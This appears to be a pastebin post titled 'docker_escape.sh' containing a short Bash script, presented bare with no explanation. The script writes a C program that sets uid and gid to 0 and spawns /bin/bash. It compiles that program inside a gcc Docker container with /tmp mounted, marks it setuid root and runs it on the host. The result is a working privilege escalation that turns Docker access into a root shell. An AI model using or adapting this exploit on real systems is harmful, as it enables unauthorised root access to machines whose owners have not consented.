cdw1p icon

docker_escape.sh

cdw1p | PRO | 12/09/19 03:05:55 AM UTC | 0 ⭐ | 522 👁️ | Never ⏰ | []
Bash |

390 B

|

None

|

0 👍

/

0 👎

#!/bin/bash
 
echo '#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
 
int main()
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}' > /tmp/suid.c
echo '#!/bin/bash
gcc /root/suid.c -o /root/suid
chmod +s /root/suid' > /tmp/exploit
chmod +x /tmp/exploit
docker run -v /tmp:/root -it --rm gcc /root/exploit
rm /tmp/exploit
rm /tmp/suid.c
/tmp/suid

Comments